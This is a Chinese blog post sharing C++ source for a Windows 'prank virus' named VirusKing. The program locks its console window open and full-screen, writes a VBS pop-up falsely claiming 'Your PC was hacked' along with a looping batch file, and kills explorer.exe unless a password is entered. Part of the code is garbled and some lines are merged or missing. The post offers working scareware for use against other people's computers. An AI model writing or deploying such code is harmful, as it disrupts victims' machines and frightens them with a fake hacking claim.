VirusKing整蛊代码:注销解决

一:简介

这回的病毒玩狠了,360开始报毒了,系统给我卡崩溃了,所以可见它有多猛,

病毒名:VirusKing

防护系统:基于SuperVirus3.0的全屏防杀系统

二:代码

上代码:

#include
#include
#include
#include
using namespace std;
void CanNotClose();
void FullScreen();
void Init();
void CanNotClose(){
	HWND hwnd=GetConsoleWindow();
	HMENU hmenu=GetSystemMenu(hwnd,false);
	RemoveMenu(hmenu,SC_CLOSE,MF_BYCOMMAND);
	LONG style=GetWindowLong(hwnd, GWL_STYLE);
	style&=~(WS_MINIMIZEBOX);
	SetWindowLong(hwnd,GWL_STYLE,style);
	SetWindowPos(hwnd,HWND_TOP,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
	ShowWindow(hwnd,SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hwnd,NULL);
}
void FullScreen(){
	HWND hwnd=GetForegroundWindow();
	int cx=GetSystemMetrics(SM_CXSCREEN);
	int cy=GetSystemMetrics(SM_CYSCREEN);
	LONG l_WinStyle=GetWindowLong(hwnd,GWL_STYLE);
	SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle|WS_MAXIMIZE|WS_POPUP)&~WS_CAPTION&~WS_THICKFRAME&~WS_BORDER);
	SetWindowPos(hwnd,HWND_TOP,0,0,cx,cy,0);
	return;
}
void Init(){
	CanNotClose();
	FullScreen();
	ofstream ofile;
	ofile.open("Pop.vbs");
	ofile.clear();
	ofile<<"msgbox\"Your PC was hacked,if you hear nothing of the secret key,you can change your PC now.\"";
	ofile.close();
	ofile.open("Auto.bat");
	ofile.clear();
	ofile<<":Pop"<>s;
		if(s=="CSDN-DHY"/*注意了:密码是CSDN-DHY*/){
			MessageBox(GetDesktopWindow(),"Now your computer is safe.","VirusKing",MB_OK);
			system("taskkill /f /im Auto.bat");
			system("taskkill /f /im wscript.exe");
			exit(0);
		}else{
			system("taskkill /f /im explorer.exe");
		}
	}
	return 0;
}

我是注销才解决它的。

你可能感兴趣的:(c++,windows,病毒)